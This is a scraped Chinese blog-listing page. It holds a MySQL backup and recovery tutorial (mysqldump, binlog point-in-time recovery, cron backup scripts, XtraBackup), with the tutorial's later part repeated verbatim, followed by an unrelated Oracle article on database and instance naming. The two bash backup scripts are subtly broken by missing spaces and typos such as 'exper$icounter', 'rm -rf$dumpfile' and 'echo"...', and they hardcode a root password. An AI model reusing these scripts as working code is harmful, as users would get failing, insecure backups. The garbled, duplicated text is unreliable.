总结:从上图显示可以看出数据恢复到正常状态,实际生产环境中mysql数据库的备份是周期性重复操作,所有通常是要编写脚本实现,通过crond计划任务周期性执行备份脚本。     通过crontad计划任务周期性执行备份脚本 1)制定mysqldump备份方案 周日凌晨1点全库备份; 周一到周六凌晨每隔4个小时增量备份一次 设置crontab任务,每天执行备份脚本: 2)编写mysqlfullbackup.sh脚本(即mysql全库备份脚本) 图片看不清楚的可以看下面复制的脚本原文件: #!/bin/bash #Name:mysqlFullBackup.sh #定义数据库目录 mysqlDir=/usr/local/mysql #定义用于备份数据库的用户名和密码 user=root userpwd=123456 dbname=bdqn #定义备份目录 databackupdir=/opt/mysqlbackup [ ! -d $databackupdir ] && mkdir $databackupdir #定义邮件正文文件 emailfile=$databackupdir/email.txt #定义邮件地址 email=root@localhost.localdomain #定义备份日志文件 logfile=$databackupdir/mysqlbackup.log DATE=`date -I` echo "" > $emailfile echo $(date +"%Y-%m-%d %H:%M:%S") >>$emailfile cd $databackupdir #定义备份文件名 dumpfile=mysql_$DATE.sql gzdumpfile=mysql_$DATE.sql.tar.gz #使用mysqldump备份数据库,请根据具体情况设置参数 $mysqlDir/bin/mysqldump -u$user -p$userpwd --flush-logs-x $dbname > $dumpfile #压缩备份文件 if [ $? -eq 0 ]; then    tar zcvf$gzdumpfile $dumpfile >> $emailfile 2>&1    echo"BackupFileName:$gzdumpfile" >> $emailfile    echo"DataBase Backup Success!" >> $emailfile    rm -rf$dumpfile else    echo"DataBase Backup Fail!" >> $emailfile fi #写日志文件 echo"-------------------------------------------------" >> $logfile cat $emailfile >> $logfile #发送邮件通知 cat $emailfile | mail -s "MySQL Backup" $email 2)编写mysqldailybackup.sh脚本(即mysql增量备份脚本) 图片看不清楚的可以看下面复制的脚本原文件: #!/bin/bash #Name:mysqlDailyBackup.sh #定义数据库目录和数据目录 mysqldir=/usr/local/mysql datadir=$mysqldir/data #定义用于备份数据库的用户名和密码 user=root userpwd=123456 #定义备份目录、每日备份文件备份到$databackupdir/daily databackupdir=/opt/mysqlbackup dailybackupdir=$databackupdir/daily #定义邮件正文文件 emailfile=$databackupdir/email.txt #定义邮件地址 email=root@localhost.localdomain #定义日志文件 logfile=$databackupdir/mysqlbackup.log echo "" > $emailfile echo $(date +"%Y-%m-%d %H:%M:%S") >>$emailfile #刷新日志,使数据库使用新的二进制日志文件 $mysqldir/bin/mysqladmin -u$user -p$userpwd --flush-logs cd $datadir #得到二进制日志列表 filelist=`cat mysql-bin.index` icounter=0 for file in $filelist do   icounter=`exper$icounter + 1` done nextnum=0 ifile=0 for file in $filelist do  binlogname=`basename $file`   nextnum=`expr$nextnum + 1` #跳过最后一个二进制日志(数据库当前使用的二进制日志文件) if [ $nextnum -eq $icounter ]; then   echo "Skiplastest!" > /dev/null else  dest=$dailybackupdir/$binlogname #跳过已经备份的二进制日志文件 if [ -e $dest ]; then   echo "Skipexist $binlogname!" > /dev/null else #备份日志文件到备份目录 cp $binlogname $dailybackupdir if [ $? -eq 0 ]; then ifile=`expr $ifile + 1` echo "$binlogname backup success!" >>$emailfile       fi    fi fi done if [ $ifile -eq 0 ]; then    echo "NoBinlog Backup!" >> $emailfile else    echo"Backup $ifile File(s)." >> $emailfile    echo"Backup MySQL Binlog OK!" >> $emailfile fi #发送邮件通知 cat $emailfile | mail -s "MySQL Backup" $email #写日志文件 echo"-----------------------------------------" >> $logfile cat $emailfile >> $logfile 发送邮件测试: 安装libmysqlclient.so.18 再次测试: 二、  使用xtrabackup进行MySQL数据库备份 前面介绍mysqldump备份方式是采用逻辑备份,其最大的缺陷就是备份和恢复速度都慢,对于一个小于50G的数据库而言,这个速度还是能接受的,但如果数据库非常大,那再使用mysqldump备份就不太适合了。 这时就需要一种好用又高效的工具,xtrabackup就是其中一款,号称免费版的InnoDB HotBackup。 Xtrabackup实现是物理备份,而且是物理热备。 目前主流的有两个工具可以实现物理热备:ibbackup和xtrabackup;ibbackup是商业软件,需要授权,非常昂贵。而xtrabackup功能比ibbackup还要强大,但却是开源的。因此我们这里就来介绍xtrabackup的使用。 Xtrabackup提供了两种命令行工具: xtrabackup:专用于备份InnoDB和XtraDB引擎的数据; innobackupex:这是一个perl脚本,在执行过程中会调用xtrabackup命令,这样用该命令即可以实现备份InnoDB,也可以备份MyISAM引擎的对象。   Xtrabackup是由percona提供的mysql数据库备份工具,特点: (1)备份过程快速、可靠; (2)备份过程不会打断正在执行的事务; (3)能够基于压缩等功能节约磁盘空间和流量; (4)自动实现备份检验; (5)还原速度快。 官方链接地址:http://www.percona.com/software/percona-xtrabackup;可以下载源码编译安装,也可以下载适合的RPM包或使用yum进行安装或者下载二进制源码包。 安装xtrabackup 1)下载xtrabackup wget https://www.percona.com/downloads/XtraBackup/Percona-XtraBackup-2.4.4/binary/tarball/percona-xtrabackup-2.4.4-Linux-x86_64.tar.gz 2)解压 3)进入解压目录 4)复制bin下的所有程序到/usr/bin 说明:Xtrabackup中主要包含两个工具: xtrabackup:是用于热备份innodb,xtradb表中数据的工具,支持在线热备份,可以在不加锁的情况下备份Innodb数据表,不过此工具不能操作Myisam引擎表; innobackupex:是将xtrabackup进行封装的perl脚本,能同时处理Innodb和Myisam,但在处理Myisam时需要加一个读锁。 由于操作Myisam时需要加读锁,这会堵塞线上服务的写操作,而Innodb没有这样的限制,所以数据库中Innodb表类型所占的比例越大,则越有利。 5)安装相关插件 6)下载percona-toolkit并安装 #wget https://www.percona.com/downloads/percona-toolkit/2.2.19/RPM/percona-toolkit-2.2.19-1.noarch.rpm 至此就完成了xtrabackup的安装,下面就可以启动备份了。 方案:xtrabackup完全备份+binlog增量备份 1)开启binlog功能并重启mysqld服务 2)创建备份用的目录(full:全备存放的目录;inc:增量备份存放的目录) 3)创建实验用数据库、表、以及添加实验数据 4)开始完全备份 5)我们可以看一下备份后的文件 说明:1)在使用innobackupex进行备份时,还可以使用--no-timestamp选项来阻止命令自动创建一个以时间命名的目录;如此一来,innobackupex命令将会创建一个BACKUP-DIR目录来存储备份数据。 2)还可以加—database选项指定要备份的数据库,这里指定的数据库只对MyISAM表有效,对于InnoDB数据来说都是全备(所有数据库中的InnoDB数据都进行了备份,不是只备份指定的数据库,恢复时也一样)。 针对里面的各个文件的说明: 下面我们护体看一下这几个文件: 说明:xtrabackup_binlog_pos_innodb和xtrabackup_binary在这个版本里面没有了,因为版本较新,这两个文件在新版给删除了,只存在于老版本。 6)至此完全备份成功,然后我们开启一个新的binlog日志文件,并向mysql某个库插入几条数据。 7)模拟误操作,删除一条数据,同时再插入两条新数据 8)开始增量备份binlog日志文件 9)开始还原数据库 ①模拟数据库损坏 我这里直接使用删除数据目录文件来模拟损坏。 ②然后首先是还原完全备份,准备(prepare)一个完全备份 说明1:一般情况下,在备份完成后,数据尚且不能用于恢复操作,因为备份的数据中可能会包含尚未提交的事务或已经提交但尚未同步至数据文件中的事务。因此,此时数据文件仍处理不一致状态。“准备”的主要作用正是通过回滚未提交的事务及同步已经提交的事务至数据文件也使得数据文件处于一致性状态。 说明2:在准备(prepare)过程结束后,InnoDB表数据已经前滚到整个备份结束的点,而不是回滚到xtrabackup刚开始时的点。 innobakupex命令的--apply-log选项可用于实现上述功能。如下面的命令: --apply-log指明是将日志应用到数据文件上,完成之后将备份文件中的数据恢复到数据库中: 说明3:在实现“准备”的过程中,innobackupex通常还可以使用--use-memory选项来指定其可以使用的内存的大小,默认通常为100M。如果有足够的内存可用,可以多划分一些内存给prepare的过程,以提高其完成速度。 ③正式开始还原完全备份的数据库 说明1:innobackupex命令的--copy-back选项用于执行恢复操作,其通过复制所有数据相关的文件至mysql服务器DATADIR目录中来执行恢复过程。innobackupex通过backup-my.cnf来获取DATADIR目录的相关信息。 ④修改data目录的属组和属组为mysql:mysql,并重启mysqld服务。 ⑤验证还原后的数据 ⑥开始还原增量备份,但在此之前为了防止还原时产生大量的二进制日志,在还原时可临时关闭二进制日志后再还原。 ⑦有误操作的,在开始还原增量备份之前,要去binlog备份文件把误操作事件删除 ⑧正式开始还原增量备份 ⑨重新启动二进制日志并验证还原数据 附:Xtrabackup的“流”及“备份压缩”功能 作用:Xtrabackup对备份的数据文件支持“流”功能,即可以将备份的数据通过STDOUT传输给tar程序进行归档,而不是默认的直接保存至某备份目录中。 要使用此功能,仅需要使用--stream选项即可。如: 看不清截图的可以看下面复制粘贴的命令: # innobackupex --user=root --password="123456"--stream=tar /opt/mysqlbackup/full/ | gzip >/opt/mysqlbackup/full/full_`date+%F_%H%M%S`.tar.gz (再补充一句,现实生产环境中,基本上都要用流与备份压缩功能,因为这样可以很大程度上节省空间) 本文转自Mr大表哥 博客,原文链接:  http://blog.51cto.com/zpf666/1913451   如需转载请自行联系原作者
文章
监控  ·  关系型数据库  ·  MySQL  ·  数据库  ·  数据库管理
2017-11-09
DBA必知的mysql备份与还原的几大方法
一、mysqldump备份结合binlog日志恢复 说明:MySQL备份一般采取全库备份加日志备份的方式,例如每天执行一次全备份,每小时执行一次二进制日志备份。这样在MySQL故障后可以使用全备份和日志备份将数据恢复到最后一个二进制日志备份前的任意位置或时间。 1、binlog介绍 1)该日志记录着数据库的所有增、删、改的操作日志,还包括这些操作的执行时间。 Binlog功能默认是关闭的,没有开启。 查看binlog,用mysqlbinlog  -v  mysql-bin.000001 Binlog的用途:1:主从同步          2:恢复数据库 开启binary log功能:通过编辑my.cnf中的log-bin选项可以开启二进制日志;形式如右:log-bin[=DIR/[filename]] ,注释:每次重启mysql服务或运行mysql> flush logs;都会生成一个新的二进制日志文件,这些日志文件的number会不断地递增,除了生成上述的文件外还会生成一个名为filename.index的文件。这个文件中存储所有二进制日志文件的清单又称为二进制文件的索引。 2)查看产生的binary log   注:查看binlog内容是为了恢复数据 说明:bin-log因为是二进制文件,不能通过文件内容查看命令直接打开查看,mysql提供两种方式查看方式。 ①在介绍之前,我们先对数据库进行一下增删改的操作,否则log里边数据有点空。 ②重新开始一个新的日志文件 ③查看MySQL Server上的二进制日志 查看指定的二进制日志中的事件: 该命令还包含其他选项以便灵活查看: 前者清空index文件中列出的所有二进制日志,重置index文件为空,并创建一个新的二进制日志文件,一般用于master首次启动时。后者使slave忘记其在master二进制日志文件中的复制位置,它会删除master.info、relay-log.info和所有中继日志文件并开始一个新的中继日志文件,以便于开始一个干净的复制。在使用reset slave前需先关闭slave复制线程。 总结:上述方式可以查看到服务器上存在的二进制日志文件及文件中的事件,但是想查看到文件中具体的内容并应于恢复场景还得借助mysqlbinlog这个工具。 语法格式:mysqlbinlog  [options]  log_file ... 输出内容会因日志文件的格式以及mysqlbinlog工具使用的选项不同而略不同。 mysqlbinlog的可用选项可参考man手册。 说明:无论是本地二进制日志文件还是远程服务器上的二进制日志文件,无论是行模式、语句模式还是混合模式的二进制日志文件,被mysqlbinlog工具解析后都可直接应用与MySQL Server进行基于时间点、位置或数据库的恢复。 下面我们就来演示如何使用binlog恢复之前删除数据(id=2那条记录) 注意:在实际生产环境中,如果遇到需要恢复数据库的情况,不要让用户能访问到数据库,以避免新的数据插入进来,以及在主从的环境下,关闭主从。 ①查看binlog文件,从中找出delete from bdqn.test where id=2 # cd/usr/local/mysql/data/ # mysqlbinlog  -v mysql-bin.000002 显示结果如下: 图片看不清楚的可以看下面复制的日志: # at 219 #170316 21:52:28 server id 1  end_log_pos 287 CRC32 0xff83a85b    Query   thread_id=2 exec_time=0 error_code=0 SET TIMESTAMP=1489672348/*!*/; SET @@session.pseudo_thread_id=2/*!*/; SET @@session.foreign_key_checks=1,@@session.sql_auto_is_null=0, @@session.unique_checks=1,@@session.autocommit=1/*!*/; SET @@session.sql_mode=1075838976/*!*/; SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/; /*!\C utf8 *//*!*/; SET@@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=33/*!*/; SET @@session.lc_time_names=0/*!*/; SET @@session.collation_database=DEFAULT/*!*/; BEGIN /*!*/; # at 287 #170316 21:52:28 server id 1  end_log_pos 337 CRC32 0x343e7343   Table_map: `bdqn`.`test` mapped to number 108 # at 337 #170316 21:52:28 server id 1  end_log_pos 382 CRC32 0xa3d1ce0d    Delete_rows: table id 108 flags: STMT_END_F   BINLOG ' nJjKWBMBAAAAMgAAAFEBAAAAAGwAAAAAAAEABGJkcW4ABHRlc3QAAgMPAjwAAkNzPjQ= nJjKWCABAAAALQAAAH4BAAAAAGwAAAAAAAEAAgAC//wCAAAABGxpc2kNztGj '/*!*/; ### DELETE FROM `bdqn`.`test` ### WHERE ###   @1=2 ###   @2='lisi' # at 382 #170316 21:52:28 server id 1  end_log_pos 413 CRC32 0x257e7073    Xid = 10 COMMIT/*!*/; 说明:可以从上图可以看出来delete时间发生position是287,事件结束position是413。 ②恢复流程:直接用bin-log日志将数据库恢复到删除位置287前,然后跳过故障点,再进行恢复下面所有的操作,命令如下 由于之前没有做过全库备份,所以要使用所有binlog日志恢复,所以生产环境中需要很长时间恢复,导出相关binlog文件。 ③删除bdqn数据库(删除bdqn和恢复数据之前,要关闭binlog功能) ④利用binlog恢复数据 ⑤恢复完成后,我们检查下表的数据是否完整 2、mysqldump介绍 作用:mysqldump是mysql自带的备份和数据转移的工具。 特点:它只产生sql语句(即sql命令)封装在文件,而不是真实的数据。 Mysqldump是逻辑备份,不是物理备份,备份的是SQL语句,而不是数据文件。 Mysqldump适用于小型数据库,数据容量一般是在几个G大小,当数据量很大的情况下,不建议使用mysqldump。 导出对象:可以针对单个表、多个表、单个数据库、多个数据库、所有数据库。 格式: #mysqldump   [选项]   库名   [表名1]  [表名2]  … > /备份路径/备份文件名 //导出指定数据库的单个或多个表 #mysqldump   [选项]   --databases  库名1 [库名2]  … >  /备份路径/备份文件名 //导出指定的数据库或多个数据库 #mysqldump   [选项]   --all-databases  >  /备份路径/备份文件名 //导出所有的数据库 #mysqldump   -uroot  -p123456 --flush-logs   bdqn  > /opt/bdqn.sql //导出数据库bdqn,其中“—flush-logs”这个选项是完整备份完毕后开启一个新的binlog #mysql -uroot  -p123456  bdqn <  /opt/bdqn.sql //从备份文件导入数据库bdqn 下面用一个具体的实验说明用mysqldump实现全库备份+binlog的数据恢复 1)开启binlog功能并重启服务 2)创建备份目录 3)创建实验数据 4)开始全库备份(注意:全库备份不会备份binlog日志文件) 5)备份mysqldump全库备份之前的所有的binlog日志文件(注意:真是生产环境中可能不止一个binlog文件) 6)因为全库备份之前的binlog已经备份了,现在就删除它们(即新产生的binlog之前的所有的binlog删除) 7)模拟误操作,删除了数据,并且新增加了新的数据 8)备份自mysqldump之后的binlog日志文件 9)使用mysqldump的全库备份+binlog来恢复数据 ①使用mysqldump的备份进行全库恢复(即恢复到全部备份时候的所有数据) ②分析新开启的binlog日志文件(我这里是mysql-bin.000002)里面误操作的事件的起始位置和终止位置,只要跳过这一段事件即可 图片看不清楚的可以看下面复制的日志: # at 219 #170318 21:14:42 server id 1  end_log_pos 291 CRC32 0xddbf8eff    Query   thread_id=5 exec_time=0 error_code=0 SET TIMESTAMP=1489842882/*!*/; SET @@session.pseudo_thread_id=5/*!*/; SET @@session.foreign_key_checks=1,@@session.sql_auto_is_null=0, @@session.unique_checks=1,@@session.autocommit=1/*!*/; SET @@session.sql_mode=1075838976/*!*/; SET @@session.auto_increment_increment=1,@@session.auto_increment_offset=1/*!*/; /*!\C utf8 *//*!*/; SET @@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=33/*!*/; SET @@session.lc_time_names=0/*!*/; SET @@session.collation_database=DEFAULT/*!*/; BEGIN /*!*/; # at 291 #170318 21:14:42 server id 1  end_log_pos 339 CRC32 0x4a9ec8f2   Table_map: `bdqn`.`it` mapped to number 108 # at 339 #170318 21:14:42 server id 1  end_log_pos 388 CRC32 0x2e8a3da8    Delete_rows: table id 108 flags: STMT_END_F   BINLOG ' wjLNWBMBAAAAMAAAAFMBAAAAAGwAAAAAAAEABGJkcW4AAml0AAIDDwI8AALyyJ5K wjLNWCABAAAAMQAAAIQBAAAAAGwAAAAAAAEAAgAC//wBAAAACHpoYW5nc2FuqD2KLg== '/*!*/; ### DELETE FROM `bdqn`.`it` ### WHERE ###   @1=1 ###  @2='zhangsan' # at 388 #170318 21:14:42 server id 1  end_log_pos 419 CRC32 0xa1c06a4f    Xid = 43 COMMIT/*!*/; ③开始使用全库备份后的增量备份的binlog日志文件备份文件进行对全库恢复后的增量数据的恢复 10)查看恢复结果 总结:从上图显示可以看出数据恢复到正常状态,实际生产环境中mysql数据库的备份是周期性重复操作,所有通常是要编写脚本实现,通过crond计划任务周期性执行备份脚本。 通过crontad计划任务周期性执行备份脚本 1)制定mysqldump备份方案 周日凌晨1点全库备份; 周一到周六凌晨每隔4个小时增量备份一次 设置crontab任务,每天执行备份脚本: 2)编写mysqlfullbackup.sh脚本(即mysql全库备份脚本) 图片看不清楚的可以看下面复制的脚本原文件: #!/bin/bash #Name:mysqlFullBackup.sh #定义数据库目录 mysqlDir=/usr/local/mysql #定义用于备份数据库的用户名和密码 user=root userpwd=123456 dbname=bdqn #定义备份目录 databackupdir=/opt/mysqlbackup [ ! -d $databackupdir ] && mkdir $databackupdir #定义邮件正文文件 emailfile=$databackupdir/email.txt #定义邮件地址 email=root@localhost.localdomain #定义备份日志文件 logfile=$databackupdir/mysqlbackup.log DATE=`date -I` echo "" > $emailfile echo $(date +"%Y-%m-%d %H:%M:%S") >>$emailfile cd $databackupdir #定义备份文件名 dumpfile=mysql_$DATE.sql gzdumpfile=mysql_$DATE.sql.tar.gz #使用mysqldump备份数据库,请根据具体情况设置参数 $mysqlDir/bin/mysqldump -u$user -p$userpwd --flush-logs-x $dbname > $dumpfile #压缩备份文件 if [ $? -eq 0 ]; then    tar zcvf$gzdumpfile $dumpfile >> $emailfile 2>&1    echo"BackupFileName:$gzdumpfile" >> $emailfile    echo"DataBase Backup Success!" >> $emailfile    rm -rf$dumpfile else    echo"DataBase Backup Fail!" >> $emailfile fi #写日志文件 echo"-------------------------------------------------" >> $logfile cat $emailfile >> $logfile #发送邮件通知 cat $emailfile | mail -s "MySQL Backup" $email 2)编写mysqldailybackup.sh脚本(即mysql增量备份脚本) 图片看不清楚的可以看下面复制的脚本原文件: #!/bin/bash #Name:mysqlDailyBackup.sh #定义数据库目录和数据目录 mysqldir=/usr/local/mysql datadir=$mysqldir/data #定义用于备份数据库的用户名和密码 user=root userpwd=123456 #定义备份目录、每日备份文件备份到$databackupdir/daily databackupdir=/opt/mysqlbackup dailybackupdir=$databackupdir/daily #定义邮件正文文件 emailfile=$databackupdir/email.txt #定义邮件地址 email=root@localhost.localdomain #定义日志文件 logfile=$databackupdir/mysqlbackup.log echo "" > $emailfile echo $(date +"%Y-%m-%d %H:%M:%S") >>$emailfile #刷新日志,使数据库使用新的二进制日志文件 $mysqldir/bin/mysqladmin -u$user -p$userpwd --flush-logs cd $datadir #得到二进制日志列表 filelist=`cat mysql-bin.index` icounter=0 for file in $filelist do   icounter=`exper$icounter + 1` done nextnum=0 ifile=0 for file in $filelist do  binlogname=`basename $file`   nextnum=`expr$nextnum + 1` #跳过最后一个二进制日志(数据库当前使用的二进制日志文件) if [ $nextnum -eq $icounter ]; then   echo "Skiplastest!" > /dev/null else  dest=$dailybackupdir/$binlogname #跳过已经备份的二进制日志文件 if [ -e $dest ]; then   echo "Skipexist $binlogname!" > /dev/null else #备份日志文件到备份目录 cp $binlogname $dailybackupdir if [ $? -eq 0 ]; then ifile=`expr $ifile + 1` echo "$binlogname backup success!" >>$emailfile       fi    fi fi done if [ $ifile -eq 0 ]; then    echo "NoBinlog Backup!" >> $emailfile else    echo"Backup $ifile File(s)." >> $emailfile    echo"Backup MySQL Binlog OK!" >> $emailfile fi #发送邮件通知 cat $emailfile | mail -s "MySQL Backup" $email #写日志文件 echo"-----------------------------------------" >> $logfile cat $emailfile >> $logfile 发送邮件测试: 安装libmysqlclient.so.18 再次测试: 二、  使用xtrabackup进行MySQL数据库备份 前面介绍mysqldump备份方式是采用逻辑备份,其最大的缺陷就是备份和恢复速度都慢,对于一个小于50G的数据库而言,这个速度还是能接受的,但如果数据库非常大,那再使用mysqldump备份就不太适合了。 这时就需要一种好用又高效的工具,xtrabackup就是其中一款,号称免费版的InnoDB HotBackup。 Xtrabackup实现是物理备份,而且是物理热备。 目前主流的有两个工具可以实现物理热备:ibbackup和xtrabackup;ibbackup是商业软件,需要授权,非常昂贵。而xtrabackup功能比ibbackup还要强大,但却是开源的。因此我们这里就来介绍xtrabackup的使用。 Xtrabackup提供了两种命令行工具: xtrabackup:专用于备份InnoDB和XtraDB引擎的数据; innobackupex:这是一个perl脚本,在执行过程中会调用xtrabackup命令,这样用该命令即可以实现备份InnoDB,也可以备份MyISAM引擎的对象。   Xtrabackup是由percona提供的mysql数据库备份工具,特点: (1)备份过程快速、可靠; (2)备份过程不会打断正在执行的事务; (3)能够基于压缩等功能节约磁盘空间和流量; (4)自动实现备份检验; (5)还原速度快。 官方链接地址:http://www.percona.com/software/percona-xtrabackup;可以下载源码编译安装,也可以下载适合的RPM包或使用yum进行安装或者下载二进制源码包。 安装xtrabackup 1)下载xtrabackup wget https://www.percona.com/downloads/XtraBackup/Percona-XtraBackup-2.4.4/binary/tarball/percona-xtrabackup-2.4.4-Linux-x86_64.tar.gz 2)解压 3)进入解压目录 4)复制bin下的所有程序到/usr/bin 说明:Xtrabackup中主要包含两个工具: xtrabackup:是用于热备份innodb,xtradb表中数据的工具,支持在线热备份,可以在不加锁的情况下备份Innodb数据表,不过此工具不能操作Myisam引擎表; innobackupex:是将xtrabackup进行封装的perl脚本,能同时处理Innodb和Myisam,但在处理Myisam时需要加一个读锁。 由于操作Myisam时需要加读锁,这会堵塞线上服务的写操作,而Innodb没有这样的限制,所以数据库中Innodb表类型所占的比例越大,则越有利。 5)安装相关插件 6)下载percona-toolkit并安装 #wget https://www.percona.com/downloads/percona-toolkit/2.2.19/RPM/percona-toolkit-2.2.19-1.noarch.rpm 至此就完成了xtrabackup的安装,下面就可以启动备份了。 方案:xtrabackup完全备份+binlog增量备份 1)开启binlog功能并重启mysqld服务 2)创建备份用的目录(full:全备存放的目录;inc:增量备份存放的目录) 3)创建实验用数据库、表、以及添加实验数据 4)开始完全备份 5)我们可以看一下备份后的文件 说明:1)在使用innobackupex进行备份时,还可以使用--no-timestamp选项来阻止命令自动创建一个以时间命名的目录;如此一来,innobackupex命令将会创建一个BACKUP-DIR目录来存储备份数据。 2)还可以加—database选项指定要备份的数据库,这里指定的数据库只对MyISAM表有效,对于InnoDB数据来说都是全备(所有数据库中的InnoDB数据都进行了备份,不是只备份指定的数据库,恢复时也一样)。 针对里面的各个文件的说明: 下面我们护体看一下这几个文件: 说明:xtrabackup_binlog_pos_innodb和xtrabackup_binary在这个版本里面没有了,因为版本较新,这两个文件在新版给删除了,只存在于老版本。 6)至此完全备份成功,然后我们开启一个新的binlog日志文件,并向mysql某个库插入几条数据。 7)模拟误操作,删除一条数据,同时再插入两条新数据 8)开始增量备份binlog日志文件 9)开始还原数据库 ①模拟数据库损坏 我这里直接使用删除数据目录文件来模拟损坏。 ②然后首先是还原完全备份,准备(prepare)一个完全备份 说明1:一般情况下,在备份完成后,数据尚且不能用于恢复操作,因为备份的数据中可能会包含尚未提交的事务或已经提交但尚未同步至数据文件中的事务。因此,此时数据文件仍处理不一致状态。“准备”的主要作用正是通过回滚未提交的事务及同步已经提交的事务至数据文件也使得数据文件处于一致性状态。 说明2:在准备(prepare)过程结束后,InnoDB表数据已经前滚到整个备份结束的点,而不是回滚到xtrabackup刚开始时的点。 innobakupex命令的--apply-log选项可用于实现上述功能。如下面的命令: --apply-log指明是将日志应用到数据文件上,完成之后将备份文件中的数据恢复到数据库中: 说明3:在实现“准备”的过程中,innobackupex通常还可以使用--use-memory选项来指定其可以使用的内存的大小,默认通常为100M。如果有足够的内存可用,可以多划分一些内存给prepare的过程,以提高其完成速度。 ③正式开始还原完全备份的数据库 说明1:innobackupex命令的--copy-back选项用于执行恢复操作,其通过复制所有数据相关的文件至mysql服务器DATADIR目录中来执行恢复过程。innobackupex通过backup-my.cnf来获取DATADIR目录的相关信息。 ④修改data目录的属组和属组为mysql:mysql,并重启mysqld服务。 ⑤验证还原后的数据 ⑥开始还原增量备份,但在此之前为了防止还原时产生大量的二进制日志,在还原时可临时关闭二进制日志后再还原。 ⑦有误操作的,在开始还原增量备份之前,要去binlog备份文件把误操作事件删除 ⑧正式开始还原增量备份 ⑨重新启动二进制日志并验证还原数据 附:Xtrabackup的“流”及“备份压缩”功能 作用:Xtrabackup对备份的数据文件支持“流”功能,即可以将备份的数据通过STDOUT传输给tar程序进行归档,而不是默认的直接保存至某备份目录中。 要使用此功能,仅需要使用--stream选项即可。如: 看不清截图的可以看下面复制粘贴的命令: # innobackupex --user=root --password="123456"--stream=tar /opt/mysqlbackup/full/ | gzip >/opt/mysqlbackup/full/full_`date+%F_%H%M%S`.tar.gz (再补充一句,现实生产环境中,基本上都要用流与备份压缩功能,因为这样可以很大程度上节省空间) 文章转自:http://zpf666.blog.51cto.com/11248677/1913451       本文转自MQ_douer 51CTO博客,原文链接:http://blog.51cto.com/douer/1934439,如需转载请自行联系原作者
文章
监控  ·  关系型数据库  ·  MySQL  ·  数据库  ·  数据库管理
2017-11-08
windows
  数据库名、实例名、数据库域名、全局数据库名、服务名 这是几个令很多初学者容易混淆的概念。相信很多初学者都与我一样被标题上这些个概念搞得一头雾水。我们现在就来把它们弄个明白。 一、数据库名 什么是数据库名? 数据库名就是一个数据库的标识,就像人的身份证号一样。他用参数DB_NAME表示,如果一台机器上装了多全数据库,那么每一个数据库都有一个数据库名。在数据库安装或创建完成之后,参数DB_NAME被写入参数文件之中。格式如下: DB_NAME=myorcl ... 在 创建数据库时就应考虑好数据库名,并且在创建完数据库之后,数据库名不宜修改,即使要修改也会很麻烦。因为,数据库名还被写入控制文件中,控制文件是以 二进制型式存储的,用户无法修改控制文件的内容。假设用户修改了参数文件中的数据库名,即修改DB_NAME的值。但是在Oracle启动时,由于参数文 件中的DB_NAME与控制文件中的数据库名不一致,导致数据库启动失败,将返回ORA-01103错误。 数据库名的作用 数据库名是在安装数据库、创建新的数据库、创建数据库控制文件、修改数据结构、备份与恢复数据库时都需要使用到的。 有很多Oracle安装文件目录是与数据库名相关的,如: winnt: d:/oracle/product/10.1.0/oradata/DB_NAME/... Unix: /home/app/oracle/product/10.1.0/oradata/DB_NAME/... pfile: winnt: d:/oracle/product/10.1.0/admin/DB_NAME/pfile/ini.ora Unix: /home/app/oracle/product/10.1.0/admin/DB_NAME/pfile/init$ORACLE_SID.ora 跟踪文件目录: winnt: /home/app/oracle/product/10.1.0/admin/DB_NAME/bdump/... 另外,在创建数据时,careate database命令中的数据库名也要与参数文件中DB_NAME参数的值一致,否则将产生错误。 同样,修改数据库结构的语句alter database, 当然也要指出要修改的数据库的名称。 如果控制文件损坏或丢失,数据库将不能加载,这时要重新创建控制文件,方法是以nomount方式启动实例,然后以create controlfile命令创建控制文件,当然这个命令中也是指指DB_NAME。 还有在备份或恢复数据库时,都需要用到数据库名。 总之,数据库名很重要,要准确理解它的作用。 查询当前数据名 方法一:select name from v$database; 方法二:show parameter db 方法三:查看参数文件。 修改数据库名 前面建议:应在创建数据库时就确定好数据库名,数据库名不应作修改,因为修改数据库名是一件比较复杂的事情。那么现在就来说明一下,如何在已创建数据之后,修改数据库名。步骤如下: 1.关闭数据库。 2.修改数据库参数文件中的DB_NAME参数的值为新的数据库名。 3.以NOMOUNT方式启动实例,修建控制文件(有关创建控制文件的命令语法,请参考oracle文档) 二、数据库实例名 什么是数据库实例名?数据库实例名是用于和操作系统进行联系的标识,就是说数据库和操作系统之间的交互用的是数据库实例名。实例名也被写入参数文件中,该参数为instance_name,在winnt平台中,实例名同时也被写入注册表。 数据库名和实例名可以相同也可以不同。 在一般情况下,数据库名和实例名是一对一的关系,但如果在oracle并行服务器架构(即oracle实时应用集群)中,数据库名和实例名是一对多的关系。这一点在第一篇中已有图例说明。 查询当前数据库实例名 方法一:select instance_name from v$instance; 方法二:show parameter instance 方法三:在参数文件中查询。 数据库实例名与ORACLE_SID 虽 然两者都表是oracle实例,但两者是有区别的。instance_name是oracle数据库参数。而ORACLE_SID是操作系统的环境变 量。 ORACLD_SID用于与操作系统交互,也就是说,从操作系统的角度访问实例名,必须通过ORACLE_SID。在winnt不台, ORACLE_SID还需存在于注册表中。 且ORACLE_SID必须与instance_name的值一致,否则,你将会收到一个错误,在unix平台,是“ORACLE not available”,在winnt平台,是“TNS:协议适配器错误”。 数据库实例名与网络连接 数据库实例名除了与操作系统交互外,还用于网络连接的oracle服务器标识。当你配置oracle主机连接串的时候,就需要指定实例名。当然8i以后版本的网络组件要求使用的是服务名SERVICE_NAME。这个概念接下来说明 。 三、数据库域名 什么是数据库域名? 在分布工数据库系统中,不同版本的数据库服务器之间,不论运行的操作系统是unix或是windows,各服务器之间都可以通过数据库链路进行远程复制,数据库域名主要用于oracle分布式环境中的复制。举例说明如: 全国交通运政系统的分布式数据库,其中: 福建节点: fj.jtyz 福建厦门节点: xm.fj.jtyz 江西: jx.jtyz 江西上饶:sr.jx.jtyz 这就是数据库域名。 数据库域名在存在于参数文件中,他的参数是db_domain. 查询数据库域名 方法一:select value from v$parameter where name = 'db_domain'; 方法二:show parameter domain 方法三:在参数文件中查询。 全局数据库名 全局数据库名=数据库名+数据库域名,如前述福建节点的全局数据库名是:oradb.fj.jtyz 四、数据库服务名 什么是数据库服务名?从oracle9i版本开始,引入了一个新的参数,即数据库服务名。参数名是SERVICE_NAME。 如果数据库有域名,则数据库服务名就是全局数据库名;否则,数据库服务名与数据库名相同。 查询数据库服务名 方法一:select value from v$parameter where name = 'service_name'; 方法二:show parameter service_name 